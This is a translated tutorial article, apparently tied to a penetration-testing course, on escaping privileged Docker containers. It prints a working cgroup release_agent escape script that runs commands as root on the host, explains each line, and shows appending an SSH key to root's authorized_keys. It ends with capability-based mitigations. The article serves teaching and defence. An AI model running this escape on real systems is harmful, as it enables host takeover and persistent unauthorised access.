Escape from privileged Docker containers

The translation of the article was prepared on the eve of the start of the course "Pentest. Penetration Testing Practice " .








Docker privileged containers are containers that run with a flag --privileged. Unlike regular containers, these containers have root access to the host machine.



Privileged containers are often used when tasks require direct access to hardware to perform tasks. However, privileged Docker containers can allow attackers to take over the host system. Today we will see how you can exit a privileged container.



Search for vulnerable containers



How can we determine that we are in a privileged container?



How do you know that you are in a container?



Cgroupsstands for control groups. This Linux feature isolates resource usage, and is what Docker uses to isolate containers. You can tell if you are in a container by checking the cgroup of the init process in /proc/1/cgroup. If you are not inside the container, then the control group will be /. Again, if you are in a container, you will see instead /docker/CONTAINER_ID.



How do you know if a container is privileged?



Once you have determined that you are in a container, you need to understand if it is privileged. The best way to do this is to run the command that needs the flag --privilegedand see if it works.



For example, you can try adding an dummyinterface using the command iproute2. This command requires access to NET_ADMINwhich the container has, if privileged.



$ ip link add dummy0 type dummy


If the command succeeds, then we can conclude that the container has functionality NET_ADMIN. And NET_ADMINin turn, it is part of a privileged set of functions, and containers that do not have it are not privileged. You can remove the link dummy0after this test with the command:



ip link delete dummy0


Escape from the container



So how do you go outside the privileged container? The following script will help you here. This example and proof-of-concept was taken from the Trail of Bits blog . To dive deeper into the concept, read the original article:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


This proof of concept uses a function release_agentfrom cgroup.



After the last process is finished in cgroup, a command is executed that removes the terminated work cgroups. This command is specified in a file release_agentand is executed on behalf of rootthe host computer. By default, the feature is disabled and the path release_agentis empty.



This exploit runs code through a file release_agent. We need to create cgroup, specify its file release_agentand start release_agent, killing all processes in cgroup. The first line in hypothesis testing creates a new group:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x


The following includes the function release_agent:



echo 1 > /tmp/cgrp/x/notify_on_release


Further in the next few lines the path to the file is registered release_agent:



host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent


Then you can start writing to the command file. This script will execute the command ps auxand save it to a file /output. You also need to set the access bits for the script:



echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd


Finally, initiate the attack by spawning a process that will terminate immediately in the cgroup we created. Our script release_agentwill be executed after the completion of the process. Now you can read the output ps auxon the host machine in a file /output:



sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


You can use this concept to execute whatever commands you want on the host system. For example, you can use it to write your SSH key to the authorized_keysroot user file :



cat id_dsa.pub >> /root/.ssh/authorized_keys




Preventing an attack



How can this attack be prevented? Instead of granting containers full access to the host system, you should only grant the permissions they need.



Docker's capabilities allow developers to selectively grant permissions to a container. It becomes possible to split permissions, usually packaged in root access, into separate components.



By default, Docker takes all permissions from the container and requires them to be added. You can remove or add permissions using the cap-dropand flags cap-add.



--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES


For example, instead of giving the container root access, you leave it NET_BIND_SERVICEif it needs to connect to a port below 1024. This flag will give the container the necessary permissions:



--cap-add NET_BIND_SERVICE


Conclusion



Avoid running Docker containers with a flag whenever possible --privileged. Privileged containers can give attackers the ability to exit the container and gain access to the host system. Instead, give containers permission individually using a flag --cap-add.



Read more








Learn more about the course.







All Articles